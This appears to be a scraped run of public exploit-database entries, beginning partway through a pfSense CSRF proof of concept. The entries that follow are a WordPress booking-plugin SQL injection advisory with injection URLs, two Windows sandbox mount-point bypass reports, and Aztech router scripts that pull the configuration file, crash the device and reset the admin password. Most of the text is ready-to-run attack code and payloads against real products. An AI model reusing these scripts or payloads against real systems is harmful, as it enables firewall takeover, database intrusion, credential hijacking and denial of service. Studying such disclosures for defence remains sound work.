          "\t\t\x3ctype\x3eserver\x3c/type\x3e\n" + 
          "\t\t\x3ccrt\x3eLS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCk1JSUZiVENDQkZXZ0F3SUJBZ0lCQURBTkJna3Foa2lHOXcwQkFRc0ZBRENCdERFTE1Ba0dBMVVFQmhNQ1ZWTXgKRGpBTUJnTlZCQWdUQlZOMFlYUmxNUkV3RHdZRFZRUUhFd2hNYjJOaGJHbDBlVEU0TURZR0ExVUVDaE12Y0daVApaVzV6WlNCM1pXSkRiMjVtYVdkMWNtRjBiM0lnVTJWc1ppMVRhV2R1WldRZ1EyVnlkR2xtYVdOaGRHVXhLREFtCkJna3Foa2lHOXcwQkNRRVdHV0ZrYldsdVFIQm1VMlZ1YzJVdWJHOWpZV3hrYjIxaGFXNHhIakFjQmdOVkJBTVQKRlhCbVUyVnVjMlV0TlRaaE16VXlZMkV6WlRWbVlqQWVGdzB4TmpBeE1qTXhNREUxTXpoYUZ3MHlNVEEzTVRVeApNREUxTXpoYU1JRzBNUXN3Q1FZRFZRUUdFd0pWVXpFT01Bd0dBMVVFQ0JNRlUzUmhkR1V4RVRBUEJnTlZCQWNUCkNFeHZZMkZzYVhSNU1UZ3dOZ1lEVlFRS0V5OXdabE5sYm5ObElIZGxZa052Ym1acFozVnlZWFJ2Y2lCVFpXeG0KTFZOcFoyNWxaQ0JEWlhKMGFXWnBZMkYwWlRFb01DWUdDU3FHU0liM0RRRUpBUllaWVdSdGFXNUFjR1pUWlc1egpaUzVzYjJOaGJHUnZiV0ZwYmpFZU1Cd0dBMVVFQXhNVmNHWlRaVzV6WlMwMU5tRXpOVEpqWVRObE5XWmlNSUlCCklqQU5CZ2txaGtpRzl3MEJBUUVGQUFPQ0FROEFNSUlCQ2dLQ0FRRUE1OEwyN3dFMnc5NGtONWpPdS9UMFVHYTYKcjBGUlptM2ZDdmdRdElpUHZVUEN4SHpkQ3RyalRCaUdZK3grU0t4cFpEREJvdGg4cmQzS1dSdWRIajR6cFpnSwpKOXR5djJhVXNTQ3Jqd3NCc3Fva0RzdHNaUlR2RkRPTE9kd2xKNDBxV2grVjNINStiOWNKM09SN1d2Zkc4MHdGClJQbjdCMTFlMHdJVU1OSkhjbWtpbHRva0lVSlJRbWtSSTU1K3dnQkdrWUlwTTJCOTdQc0tWSVdjUnVQSnhRcFQKY0l4VmFvNmtIVDFBQytsU2RxK0x6UWlrSTJBRkU3a1RjeDVFK28yZnRWRlZySHI2b1hhdlYzRCtoZmRwaFp0VgpTQllXYUZycDZlVUJwYm5zQlR0c2orUlp1S1RmWEczSTJQTWFWOVAyNkJ2VU5xVXhtdkJsc3BZRTRJaVFld0lECkFRQUJvNElCaGpDQ0FZSXdDUVlEVlIwVEJBSXdBREFSQmdsZ2hrZ0JodmhDQVFFRUJBTUNCa0F3TXdZSllJWkkKQVliNFFnRU5CQ1lXSkU5d1pXNVRVMHdnUjJWdVpYSmhkR1ZrSUZObGNuWmxjaUJEWlhKMGFXWnBZMkYwWlRBZApCZ05WSFE0RUZnUVVCUmNZeGlxaEkreE1FWjEwcnlFVS9NWWZLeUV3Z2VFR0ExVWRJd1NCMlRDQjFvQVVCUmNZCnhpcWhJK3hNRVoxMHJ5RVUvTVlmS3lHaGdicWtnYmN3Z2JReEN6QUpCZ05WQkFZVEFsVlRNUTR3REFZRFZRUUkKRXdWVGRHRjBaVEVSTUE4R0ExVUVCeE1JVEc5allXeHBkSGt4T0RBMkJnTlZCQW9UTDNCbVUyVnVjMlVnZDJWaQpRMjl1Wm1sbmRYSmhkRzl5SUZObGJHWXRVMmxuYm1Wa0lFTmxjblJwWm1sallYUmxNU2d3SmdZSktvWklodmNOCkFRa0JGaGxoWkcxcGJrQndabE5sYm5ObExteHZZMkZzWkc5dFlXbHVNUjR3SEFZRFZRUURFeFZ3WmxObGJuTmwKTFRVMllUTTFNbU5oTTJVMVptS0NBUUF3SFFZRFZSMGxCQll3RkFZSUt3WUJCUVVIQXdFR0NDc0dBUVVGQ0FJQwpNQXNHQTFVZER3UUVBd0lGb0RBTkJna3Foa2lHOXcwQkFRc0ZBQU9DQVFFQXREcklKREwxYmpiR1IwVS8wTjRICkpPRi9NT1BWSFNLZVp0V2k1eWFFOTR0VlRxbmNYVWNpalRncS8xNHB0NGRzbkl6ek56dFh2aE5wdEl0ZzlTeDIKcnNaRGJEYzNGaXZveUxtU1RQY0E3WGh4MlBJRUdFYzhKRi9CK1I1UDVhRGtGTFRBNE5KMUc1ZXo5UkxERmd3Ngp5TnlUNlJoRkZONXhreXpZY3BHSFZZZTZUQXh1WGdNOVRWdXhENXI5RWJROG53eGE5TnBmSFl0RmhydFN0N3pvCmsvaC9vQnpHeS9JZEh3Y1RHQStkYm9mOUdiNnhkSWFvTGdhc1I5SVovTmFQQUliVFVKTmpMZHhhRXNkbTdsMlcKMUc3NjY2bGphSnB5R1BQRmFtODNrZVZvZzBicmJOMFpwYStMRm0vSW54SVgvT3VDT0M3WmNtS0lPT1p6cTRHdQpiZz09Ci0tLS0tRU5EIENFUlRJRklDQVRFLS0tLS0K\x3c/crt\x3e\n" + 
          "\t\t\x3cprv\x3eLS0tLS1CRUdJTiBQUklWQVRFIEtFWS0tLS0tCk1JSUV2d0lCQURBTkJna3Foa2lHOXcwQkFRRUZBQVNDQktrd2dnU2xBZ0VBQW9JQkFRRG53dmJ2QVRiRDNpUTMKbU02NzlQUlFacnF2UVZGbWJkOEsrQkMwaUkrOVE4TEVmTjBLMnVOTUdJWmo3SDVJckdsa01NR2kySHl0M2NwWgpHNTBlUGpPbG1Bb24yM0svWnBTeElLdVBDd0d5cWlRT3kyeGxGTzhVTTRzNTNDVW5qU3BhSDVYY2ZuNXYxd25jCjVIdGE5OGJ6VEFWRStmc0hYVjdUQWhRdzBrZHlhU0tXMmlRaFFsRkNhUkVqbm43Q0FFYVJnaWt6WUgzcyt3cFUKaFp4RzQ4bkZDbE53akZWcWpxUWRQVUFMNlZKMnI0dk5DS1FqWUFVVHVSTnpIa1Q2alorMVVWV3NldnFoZHE5WApjUDZGOTJtRm0xVklGaFpvV3VucDVRR2x1ZXdGTzJ5UDVGbTRwTjljYmNqWTh4cFgwL2JvRzlRMnBUR2E4R1d5CmxnVGdpSkI3QWdNQkFBRUNnZ0VCQUs2ZjlEYzVqdTRlSHVQVk8wL2J6WW9YSFdxWHFLR28vM25nVjVYdm4zNVgKNUJUd2tBeHh5UG01TU9seGMrV0dJeExldWNmZG5uUFN2WGhPbWlBRGRoNjdaRXVMeWZYMWNPdlZWZTY5dUZYSwpaTWpROWFka0VwQUNGbEZPVXFCdWVRN1c1YS94ajRydFYvMGNHdVg3OCtlMXkvS2crRWdnVGlablZwZENtWnJWCnRhTXhkcmRIemR0NjlGaU1MWU1kaE9iMUN0azEvRFp4dzhETDB6RXBseWpQNEE5MDA2VWJtT2Y3WXlRQUpkeEcKVGlwNzY5RkdML2x6MU1SVmNmb2drUVRzU0w5OHpuSUNqTXRXeWozL2FrYkxtRCtGeHRaU2UzNHl4c2xoc0I5bApocFJ0alBIUWQ5cmtYYWR4WW51SzJ0U0pxQTgxREhYNFhyQWVmb0RrbjhFQ2dZRUE5MFlIaTJtR2dTRm5mdVFGCnpzRkNXU0ZZbWhrSnZLbVFKQ3NXWW5NN2JoNVdPVnBaM2d3RXh1MFNpdE5aWDBVaWRkR1U5NUhCdUtDWnNvRHEKQnlwQTRuUXdUdkVtWGdpNEh4cGd4bUJDSGkvRGt6eDhpVkkwd3BKNXJzWjBpNXlIcHZtYVVRT0t4WG9FOVpnUApXR1FVSDNUTXViOElsN2RWS2JISjN3T2tJUk1DZ1lFQTcvRExLYXFkWFc5OTlCd00zZlhHNkJYaUxDSXhwaGh3Cm9jSHF0ekxMcS9Ra0dVSzhaTWRlWTNhYi85dHFMWkVBMlVLQjJLdW5ZQUcyVUJZQmNiaVFNNTFCNHREemgvZ20KbTUwSmVMZjZ1SWFRdlAxeVV6QWE1NXpiTEx4WTRlZ2s1MFpZeXErWmF5TEd3dm5PeUVyN3pSWEM0REQrK3RjZQpTaW4rKzFXTHAva0NnWUVBaHFRT0ZaNDNDL2NKYUxGMmJCY1ZMbjBXeG9tZG9LbmZmNklxaFI3am5GbE9iOW8vCmxzV0trRnFrUHcxSDI3VkVSMDBBUlRHTGZ5R0xyd084Nm52YWFyUURYZWkzRUhyRTdzS3BNVHRXcFNNeTVlZ0kKazZrOGF6bmdvZ2NUakxXRnM2aXpteXRIazdHV0k3aFJtcnFicm1rbDFIb3RqcGJYKzJVQVc3dWEwaHNDZ1lCLwpsSHFDUWkwQWhJcmxaSkRXNkp1RnhqVUhvSHJqeFRVR1haVFBLbHd2cDFZV2RHeTE3V2hiM0xKZ0hpdmI1TEVkCjFJWTBUamxtRENNRGZGL3lOdCsrQWcwSmJHOUJTZ3BGVGYrK1I1MHh4cU5wU2g0aTYzNHl6eTJmSU5ybDY4akwKakpVajJMRHJ6WWNBSDFIN0lCdTVWYXZVQjFsY3lVdGF4ZS9GZGh3WENRS0JnUURDMlJvN0ZETFNqYlI1RDYyVgoxSkgzVFV1Z2ZiRmliQllRazYrMit6eHVjeTN4V3B1UnBWYVRqSGJvS3N6S2NTS09UK251cWJ4YS9Fbmh0VFZlClc1WnJGMlM3VkpPcERZVEwyZkR0VmJZZ0xJUmp5d0JKM3lUTmFoWmxUZ0FVKzM1MGgvV0NEcnVHMXVqZnJOVzAKZ3pFeU9nRSt3UWNMSi8rNmNHZjk1Mmg4b2c9PQotLS0tLUVORCBQUklWQVRFIEtFWS0tLS0tCg==\x3c/prv\x3e\n" + 
          "\t\x3c/cert\x3e\n" + 
          "\t\x3cppps/\x3e\n" + 
          "\x3c/pfsense\x3e\n" + 
          "\r\n" + 
          "-----------------------------8271879791886716022292650152\r\n" + 
          "Content-Disposition: form-data; name=\"decrypt_password\"\r\n" + 
          "\r\n" + 
          "\r\n" + 
          "-----------------------------8271879791886716022292650152\r\n" + 
          "Content-Disposition: form-data; name=\"decrypt_passconf\"\r\n" + 
          "\r\n" + 
          "\r\n" + 
          "-----------------------------8271879791886716022292650152\r\n" + 
          "Content-Disposition: form-data; name=\"Submit\"\r\n" + 
          "\r\n" + 
          "Restore configuration\r\n" + 
          "-----------------------------8271879791886716022292650152--\r\n";
        var aBody = new Uint8Array(body.length);
        for (var i = 0; i < aBody.length; i++)
          aBody[i] = body.charCodeAt(i); 
        xhr.send(new Blob([aBody]));
      }
    </script>
    <form action="#">
      <input type="button" value="Submit request" onclick="submitRequest();" />
    </form>
  </body>
</html>

<!--

--End of POC--
Firewall will restart and the Firewall config changes will take place as specified by us in our POC.
Note: Username and Password after POC is run are: admin and pfsense respectively.

3. Impact

On diag_backup.php, the firewall configuration could be altered or replaced if the administrator could be tricked into loading a specially crafted page while
also logged into the firewall with the same browser session.

4. Solution:
   
Update to version 2.2.6
https://www.pfsense.org/download/

-->
HireHackking 
# Exploit Title: WordPress appointment-booking-calendar <=1.1.23 - Unauthenticated SQL injection
# Date: 2016-01-26
# Google Dork: Index of /wordpress/wp-content/plugins/appointment-booking-calendar/
# Exploit Author: Joaquin Ramirez Martinez [ i0akiN SEC-LABORATORY ] --[now i0 security-lab]
# Software Link: http://wordpress.dwbooster.com/calendars/booking-calendar-contact-form
# Vendor: CodePeople.net
# Vebdor URI: http://codepeople.net
# Version: 1.1.23
# OWASP Top10: A1-Injection
# Tested on: windows 10 + firefox + sqlmap 1.0.

===================
PRODUCT DESCRIPTION
===================
"Appointment Booking Calendar is a plugin for **accepting online bookings** from a set of **available time-slots in 
a calendar**. The booking form is linked to a **PayPal** payment process.

You can use it to accept bookings for medical consultation, classrooms, events, transportation and other activities
where a specific time from a defined set must be selected, allowing you to define the maximum number of bookings 
that can be accepted for each time-slot."

(copy of readme file)


======================
EXPLOITATION TECHNIQUE
======================
remote

==============
SEVERITY LEVEL
==============

critical

================================
TECHNICAL DETAILS && DESCRIPTION
================================

A unauthenticated SQL injection flaw was discovered within the latest WordPress 
appointment-booking-calendar plugin version 1.1.23.

The flaw were found in the function that is executed when the action ´cpabc_appointments_check_IPN_verification´ is called.
The action is added with ´init´ tag, so it function is called every time when parameter ´action=cpabc_appointments_check_IPN_verification´
appear in the query string (GET request) or POST request.

But for to execute the vulnerable line of code, an attacker need to carry out some conditions:
- The query string must contain the ´cpabc_ipncheck´ parameter.
- The ´cpabc_ipncheck´ must have the value ´1´.
- The query string must contain the ´itemnumber´ parameter (it is necessary for injection).

By having all those rules, the attacker can exploit the vulnerability.

The security risk of SQL injection vulnerabilities are extremely because by using this type of flaw, an attacker
can compromise the entire web server.

================
PROOF OF CONCEPT
================

An unauthenticated attacker can make a request like...

http://<wp-host>/<wp-path>/wp-admin/admin-ajax.php?action=cpabc_appointments_check_IPN_verification
&cpabc_ipncheck=1&itemnumber=<SQL commands>

Example:

	Exploiting simple SQL injection:

	http://localhost/wordpress/wp-admin/admin-ajax.php?action=cpabc_appointments_check_IPN_verification
	&cpabc_ipncheck=1&itemnumber=(SELECT * FROM (SELECT(SLEEP(5)))Qmyx)

	Exploiting second order SQL injection with ´CHAR´ function will append ´0 or sleep(10)#´ to second sql 	statement:
	
	http://localhost/wordpress4.0.1/wp-admin/admin-ajax.php?action=cpabc_appointments_check_IPN_verification
	&cpabc_ipncheck=1&itemnumber=-1 UNION SELECT 1,CHAR	(48,32,111,114,32,115,108,101,101,112,40,49,48,41,35),3,4,5,6,7,8,9,10,11#

	

===============
VULNERABLE CODE
===============

located in ´cpabc_appointments.php´

function cpabc_appointments_check_IPN_verification() {

    global $wpdb;

	if ( ! isset( $_GET['cpabc_ipncheck'] ) || $_GET['cpabc_ipncheck'] != '1' ||  ! isset( $_GET["itemnumber"] ) )
		return;
    ...

    //HERE IS SANITIZED (when we inject a sql statement the `intval` function value turn to 0 and never is executed the `if` code)
    $myrows = $wpdb->get_results( "SELECT * FROM ".CPABC_TDEAPP_CALENDAR_DATA_TABLE." WHERE reference='".intval($itemnumber[0])."'" );
    if (count($myrows))
    {
        echo 'OK - Already processed';
        exit;
    }
    //BUT HERE THE PARAMETER IS PASSED WITHOUT SANITIZATION
    cpabc_process_ready_to_go_appointment($_GET["itemnumber"], $payer_email);

    echo 'OK';

    exit();

}


Now let's verify the ´cpabc_process_ready_to_go_appointment´ function...

function cpabc_process_ready_to_go_appointment($itemnumber, $payer_email = "")
{
   global $wpdb;

   ...

   $itemnumber = explode(";",$itemnumber); //CONVERTING INTO AN ARRAY THE SUPPLIED PARAMETER
   $myrows = $wpdb->get_results( "SELECT * FROM ".CPABC_APPOINTMENTS_TABLE_NAME." WHERE id=".$itemnumber[0] ); //THERE IS NO SANITIZATION

   //NEXT INSTRUCTION IS USEFUL FOR SECOND ORDER SQL INJECTION
   $mycalendarrows = $wpdb->get_results( 'SELECT * FROM '.CPABC_APPOINTMENTS_CONFIG_TABLE_NAME .' WHERE `'.CPABC_TDEAPP_CONFIG_ID.'`='.$myrows[0]->calendar);
   $reminder_timeline = date( "Y-m-d H:i:s", strtotime (date("Y-m-d H:i:s")." +".$mycalendarrows[0]->reminder_hours." hours") );
   if (!defined('CP_CALENDAR_ID'))
        define ('CP_CALENDAR_ID',$myrows[0]->calendar);

    ...

   $params = unserialize($myrows[0]->buffered_date); //POTENTIAL RISKY `unserialize` METHOD CALLED use json functions instead
   $attachments = array();
   foreach ($params as $item => $value)
   {
       $email_content1 = str_replace('<%'.$item.'%>',(is_array($value)?(implode(", ",$value)):($value)),$email_content1);
       $email_content2 = str_replace('<%'.$item.'%>',(is_array($value)?(implode(", ",$value)):($value)),$email_content2);
       $email_content1 = str_replace('%'.$item.'%',(is_array($value)?(implode(", ",$value)):($value)),$email_content1);
       $email_content2 = str_replace('%'.$item.'%',(is_array($value)?(implode(", ",$value)):($value)),$email_content2);
       if (strpos($item,"_link"))
           $attachments[] = $value;
   }
   $buffered_dates = array();
   for ($n=0;$n<count($itemnumber);$n++)
   {

   		//USEFUL FOR SECOND ORDER SQL INJECTION
       $myrows = $wpdb->get_results( "SELECT * FROM ".CPABC_APPOINTMENTS_TABLE_NAME." WHERE id=".$itemnumber[$n] );
       $buffered_dates[] = $myrows[0]->booked_time;
       $information = $mycalendarrows[0]->uname."\n".
                      $myrows[0]->booked_time."\n".
                      ($myrows[0]->name?$myrows[0]->name."\n":"").
                      $myrows[0]->email."\n".
                      ($myrows[0]->phone?$myrows[0]->phone."\n":"").
                      $myrows[0]->question."\n";

        ...

        //USEFUL FOR STORED CROSS-SITE SCRIPTING
       $rows_affected = $wpdb->insert( CPABC_TDEAPP_CALENDAR_DATA_TABLE, array( 'appointment_calendar_id' => $myrows[0]->calendar,
                                                                            'datatime' => date("Y-m-d H:i:s", strtotime($myrows[0]->booked_time_unformatted)),
                                                                            'title' => $myrows[0]->email,
                                                                            'reminder' => $reminder,
                                                                            'quantity' =>  (isset($myrows[0]->quantity)?$myrows[0]->quantity:1),
                                                                            'description' => str_replace("\n","<br />", $information),
                                                                            'reference' => $itemnumber[$n]
                                                                             ) );
       
   }
}



==========
 CREDITS
==========

Vulnerability discovered by:
	Joaquin Ramirez Martinez [i0 security-lab]
	joaquin.ramirez.mtz.lab[at]gmail[dot]com
	https://www.facebook.com/I0-security-lab-524954460988147/
	https://www.youtube.com/channel/UCe1Ex2Y0wD71I_cet-Wsu7Q


========
TIMELINE
========

2016-01-08 vulnerability discovered
2016-01-24 reported to vendor
2016-01-25 released appointment-booking-calendar 1.1.24
2016-01-26 full disclosure
HireHackking 
Source: https://code.google.com/p/google-security-research/issues/detail?id=589

Windows: Sandboxed Mount Reparse Point Creation Mitigation Bypass Redux 2
Platform: Windows 8.1, not tested any other OS
Class: Security Feature Bypass

Summary:
The fix for CVE-2015-2553 can be bypassed to get limited mount reparse points working again for sandbox attacks by abusing anonymous token impersonation.

Description:

This is another way of bypassing fix introduced in CVE-2015-2553 to block access to creating mount point reparse points. In this case instead of using the per-process device map directory we can use the fact that the anonymous token can support a per-user device map directory. If this doesn’t exist (which seems to be rare it gets created) the kernel uses ZwCreateDirectoryObject inside SeGetTokenDeviceMap. 

So instead of creating an anonymous directory object and setting it as the per-process device map we do everything while impersonating the anonymous token and open \?? as the root directory. We can then use the same trick as in the original PoC to set the mount point by pointing it at \Device\NamedPipe. This works because traversal is not blocked due to you not fixing MSRC case 21132.

I guess this could be fixed by passing the OBJ_IGNORE_IMPERSONATED_DEVICEMAP flag when checking for the writable directory, but of course that might go horribly wrong somewhere. Or perhaps the anonymous authentication ID shouldn’t create a per-user device map?

This does have a limitation from the previous attack as it doesn’t work if the process has a restricted token as NtImpersonateAnonymousToken returns STATUS_ACCESS_DENIED although I believe it would work from AppContainer assuming the device map hadn’t already been created (otherwise not sure the DACL would allow access).

Proof of Concept:

I’ve provided a PoC which will demonstrate the bypass. It should be executed at low integrity using psexec or modifying the executable file’s ACL to low. You can compare the operation to the command shell’s mklink tool that will fail to create the mount point at low integrity. The archive password is ‘password’. Follow these steps: 

1) Extract the PoC to a location on a local hard disk which is writable by a normal user.
2) Execute the poc executable file as low integrity passing two arguments, the path to a directory to create (must be somewhere than can be written to as low integrity user such as AppData\Temp\Low) and the arbitrary file path to set the mount point to. For example:
poc.exe c:\users\user\appdata\local\low\abc c:\notreal
3) While the PoC is running you can now list the directory and get access to its contents.

Expected Result:
It shouldn’t be possible to create a mount point pointed at a location not writable by low integrity user

Observed Result:
The mount point is created successfully. 


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39310.zip
HireHackking 
Source: https://code.google.com/p/google-security-research/issues/detail?id=573

Windows: Sandboxed Mount Reparse Point Creation Mitigation Bypass Redux
Platform: Windows 10, not tested any other OS
Class: Security Feature Bypass

Summary:
The fix for CVE-2015-2553 can be bypassed to get limited mount reparse points working again for sandbox attacks.

Description:

Not sure if this is the only way but you can bypass the fix (which limited ProcessDeviceMap in a sandbox) by instead abusing shadow object directories. NtCreateObjectDirectoryEx takes an additional parameter of a handle to a shadow directory which works similar to the ?? -> GLOBAL?? fallback. If you can create a named object directory (so normal low IL or EPM sandboxes) you can create a dummy directory which shadows GLOBAL??. You can then construct the dos device path using something similar to my last poc by overriding the lookup for C: or GLOBALROOT by dropping an object directory or symlink. If you set the reparse point it will be redirected to an arbitrary location which you control. You can now release the inner object directory or symlink which means the shadow directory version of the name will be found meaning the higher privileged application will pick up the real target.

For example while setting reparse point you can get:

\BaseNamedObjects\Dummy\C:\windows -> \Device\NamedPipe\

if you now release the C: object directory you get:

\BaseNamedObjects\Dummy\C:\Windows -> \GLOBAL??\C:\Windows

This does have a few limitation from the previous attack:

1. You must be able to create a named object directory, but that's most places outside of a Chrome renderer.
2. The reparse point only works as long as the object directory exists, so probably the lifetime of the attacking process but that's probably okay for a typical privilege escalation.

Proof of Concept:

I’ve provided a PoC which will demonstrate the bypass. It should be executed at low integrity using psexec or modifying the executable file’s ACL to low. You can compare the operation to the command shell’s mklink tool that will fail to create the mount point at low integrity. The archive password is ‘password’. Follow these steps: 

1) Extract the PoC to a location on a local hard disk which is writable by a normal user.
2) Execute the poc executable file as low integrity passing two arguments, the path to a directory to create (must be somewhere than can be written to as low integrity user such as AppData\Temp\Low) and the arbitrary file path to set the mount point to. For example:
poc.exe c:\users\user\appdata\local\low\abc c:\notreal
3) While the PoC is running you can now list the directory and get access to its contents.

Expected Result:
It shouldn’t be possible to create a mount point pointed at a location not writable by low integrity user

Observed Result:
The mount point is created successfully. 


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39311.zip
HireHackking 
/*
source: https://www.securityfocus.com/bid/69808/info

Aztech Modem Routers are prone to an information-disclosure vulnerability.

An attacker can exploit this issue to gain access to sensitive information; this may lead to further attacks. 
*/

HOST=$1
PORT=$2
PARM1="\x48\x6f\x73\x74\x3a\x20"
PARM2="\x50\x72\x6f\x78\x79\x2d\x43\x6f\x6e\x6e\x65\x63\x74\x69\x6f\x6e\x3a\x20\x6b\x65\x65\x70\x2d\x61\x6c\x69\x76\x65"
PARM3="\x41\x63\x63\x65\x70\x74\x3a\x20\x74\x65\x78\x74\x2f\x68\x74\x6d\x6c\x2c\x61\x70\x70\x6c\x69\x63\x61\x74\x69\x6f\x6e\x2f\x78\x68\x74\x6d\x6c\x2b\x78\x6d\x6c\x2c\x61\x70\x70\x6c\x69\x63\x61\x74\x69\x6f\x6e\x2f\x78\x6d\x6c\x3b\x71\x3d\x30\x2e\x39\x2c\x69\x6d\x61\x67\x65\x2f\x77\x65\x62\x70\x2c\x2a\x2f\x2a\x3b\x71\x3d\x30\x2e\x38"
PARM4="\x55\x73\x65\x72\x2d\x41\x67\x65\x6e\x74\x3a\x20\x4d\x6f\x7a\x69\x6c\x6c\x61\x2f\x35\x2e\x30\x20\x28\x57\x69\x6e\x64\x6f\x77\x73\x20\x4e\x54\x20\x36\x2e\x31\x3b\x20\x57\x4f\x57\x36\x34\x29\x20\x41\x70\x70\x6c\x65\x57\x65\x62\x4b\x69\x74\x2f\x35\x33\x37\x2e\x33\x36\x20\x28\x4b\x48\x54\x4d\x4c\x2c\x20\x6c\x69\x6b\x65\x20\x47\x65\x63\x6b\x6f\x29\x20\x43\x68\x72\x6f\x6d\x65\x2f\x33\x37\x2e\x30\x2e\x32\x30\x36\x32\x2e\x31\x30\x33\x20\x53\x61\x66\x61\x72\x69\x2f\x35\x33\x37\x2e\x33\x36"
PARM5="\x52\x65\x66\x65\x72\x65\x72\x3a\x20\x68\x74\x74\x70\x3a\x2f\x2f\x2f\x63\x67\x69\x2d\x62\x69\x6e\x2f\x61\x64\x6d\x53\x65\x74\x74\x69\x6e\x67\x73\x2e\x61\x73\x70"
PARM6="\x41\x63\x63\x65\x70\x74\x2d\x45\x6e\x63\x6f\x64\x69\x6e\x67\x3a\x20\x67\x7a\x69\x70\x2c\x64\x65\x66\x6c\x61\x74\x65\x2c\x73\x64\x63\x68"
PARM7="\x41\x63\x63\x65\x70\x74\x2d\x4c\x61\x6e\x67\x75\x61\x67\x65\x3a\x20\x65\x6e\x2d\x55\x53\x2c\x65\x6e\x3b\x71\x3d\x30\x2e\x38"

NARGS=1
BARGS=65
main() {
        printf "\---------------------------------------------\n";
        printf "++ Aztech Modem Get Configuration File Exploit\n";
        printf "++ Usage: $0 TARGET PORT\n";
        printf "++ Ex: $0 192.168.254.254 80\n\n";

}

[[ $# -le $NARGS ]] && main && exit $BARGS

curl -i -H "$PARM1" \
        -H "$PARM2" \
        -H "$PARM3" \
        -H "$PARM4" \
        -H "$PARM5" \
        -H "$PARM6" \
        -H "$PARM7" http://www.example.com:$PORT/%63%67%69%2d%62%69%6e%2f%75%73%65%72%72%6f%6d%66%69%6c%65%2e%63%67%69 > romfile.cfg
HireHackking 
/*
source: https://www.securityfocus.com/bid/69809/info

Multiple Aztech routers are prone to a denial-of-service vulnerability.

Attackers may exploit this issue to cause an affected device to crash, resulting in a denial-of-service condition.

Aztech DSL5018EN, DSL705E and DSL705EU are vulnerable. 
*/

#!/usr/bin/perl
use strict;
use IO::Socket;

if(!defined($ARGV[0])) {
system ('clear');
print "---------------------------------------------\n";
print "++ Aztech Modem Denial of Service Attack\n";
print "++ Usage: perl $0 TARGET:PORT\n";
print "++ Ex: perl $0 192.168.254.254:80\n\n";
exit;
}

my $TARGET = $ARGV[0];
my ($HOST, $PORT)= split(':',$TARGET);
my $PATH = "%2f%63%67%69%2d%62%69%6e%2f%41%5a%5f%52%65%74%72%61%69%6e%2e%63%67%69";

system ('clear');
print "---------------------------------------------\n";
print "++ Resetting WAN modem $TARGET\n";

my $POST = "GET $PATH HTTP/1.1";
my $ACCEPT = "Accept: text/html";

my $sock = new IO::Socket::INET ( PeerAddr => "$HOST",PeerPort => "$PORT",Proto => "tcp"); die "[-] Can't creat socket: $!\n" unless $sock;

print $sock "$POST\n";
print $sock "$ACCEPT\n\n";
print "++ Sent. The modem should be disconnected by now.\n";
$sock->close();

exit;
HireHackking 
source: https://www.securityfocus.com/bid/69787/info

Food Order Portal is prone to a cross-site request-forgery vulnerability.

An attacker can exploit the cross-site request forgery issue to perform unauthorized actions in the context of a logged-in user of the affected application. This may aid in other attacks.

Food Order Portal 8.3 is vulnerable; other versions may also be affected. 

http://www.example.com/admin/admin_user_delete.php?admin_id=[ADMIN ID]
HireHackking 
source: https://www.securityfocus.com/bid/69811/info

Multiple Aztech Modem Routers are prone to a session-hijacking vulnerability.

An attacker can exploit this issue to gain unauthorized access to the affected device. 

#!/usr/bin/perl
# Title: Aztech Modem Broken Session Management Exploit
# Author: Eric Fajardo - fjpfajardo@ph.ibm.com 
#
# A successful authentication of a privilege (admin) ID in the
# web portal allows any attacker in the network to hijack and
# reuse the existing session in order to trick and allow the web
# server to execute administrative commands. The command may be
# freely executed from any terminal in the network as long as
# the session of the privilege ID is valid. The below PoC shows 
# an un-authenticated request to the web server for an administrator 
# and user password reset.
#
# This exploit was tested working with the following modems:
# - DSL5018EN(1T1R) from Globe Telecom
# - DSL705E
# - DSL705EU

use strict;
use IO::Socket;

if(!defined($ARGV[0])) {
system ('clear');
print "---------------------------------------------\n";
print "++ Aztech Modem Broken Session Management Exploit\n";
print "++ Usage: perl $0 TARGET:PORT NEWPASSWORD\n";
print "++ Ex: perl $0 192.168.254.254:80 h4rh4rHaR\n\n";
exit;
}

my $TARGET = $ARGV[0];
my $NEWPASS = $ARGV[1];
my ($HOST, $PORT)= split(':',$TARGET);
my $PATH = "/cgi-bin/admAccess.asp";

system ('clear');
print "---------------------------------------------\n";
print "++ Sending POST string to $TARGET ...\n";

my $PAYLOAD = "saveFlag=1&adminFlag=1&SaveBtn=SAVE&uiViewTools_Password=$NEWPASS&uiViewTools_PasswordConfirm=$NEWPASS&uiViewTools_Password1=$NEWPASS&uiViewTools_PasswordConfirm1=$NEWPASS";
my $POST = "POST $PATH HTTP/1.1";

my $ACCEPT = "Accept: text/html, application/xhtml+xml, */*";
my $REFERER = "Referer: http://$HOST/cgi-bin/admAccess.asp";
my $LANG = "Accept-Language: en-US";
my $AGENT = "User-Agent: Mozilla/5.0 (iPad; CPU OS 6_0 like Mac OS X) AppleWebKit/536.26 (KHTML, like Gecko) Version/6.0 Mobile/10A5355d Safari/8536.25";
my $CONTYPE = "Content-Type: application/x-www-form-urlencoded";
my $ACENCODING = "Accept-Encoding: gzip, deflate";
my $PROXYCONN = "Proxy-Connection: Keep-Alive";
my $CONNLENGTH = "Content-Length: 179";
my $DNT = "DNT: 1";
my $TARGETHOST = "Host: $HOST";
my $PRAGMA = "Pragma: no-cache";

my $sock = new IO::Socket::INET ( PeerAddr => "$HOST",PeerPort => "$PORT",Proto => "tcp"); die "[-] Can't creat socket: $!\n" unless $sock;

print $sock "$POST\n";
print $sock "$ACCEPT\n";
print $sock "$REFERER\n";
print $sock "$LANG\n";
print $sock "$AGENT\n";
print $sock "$CONTYPE\n";
print $sock "$ACENCODING\n";
print $sock "$PROXYCONN\n";
print $sock "$CONNLENGTH\n";
print $sock "$DNT\n";
print $sock "$TARGETHOST\n";
print $sock "$PRAGMA\n\n";
print $sock "$PAYLOAD\n";

print "++ Sent. Connect to the web URL http://$HOST with user:admin password:$NEWPASS\n";
$sock->close();
exit;
HireHackking 
source: https://www.securityfocus.com/bid/69815/info

The Wordfence Security Plugin for WordPress is prone to following vulnerabilities:

1. Multiple HTML-Injection vulnerabilities
2. Multiple Security Bypass vulnerabilities

Successful exploits of these issues allow the attacker-supplied HTML and script code to run in the context of the affected browser potentially allowing the attacker to steal cookie-based authentication credentials or control how the site is rendered to the user, or to bypass security mechanisms.

Wordfence Security Plugin 5.2.3 is vulnerable; other versions may also be affected 

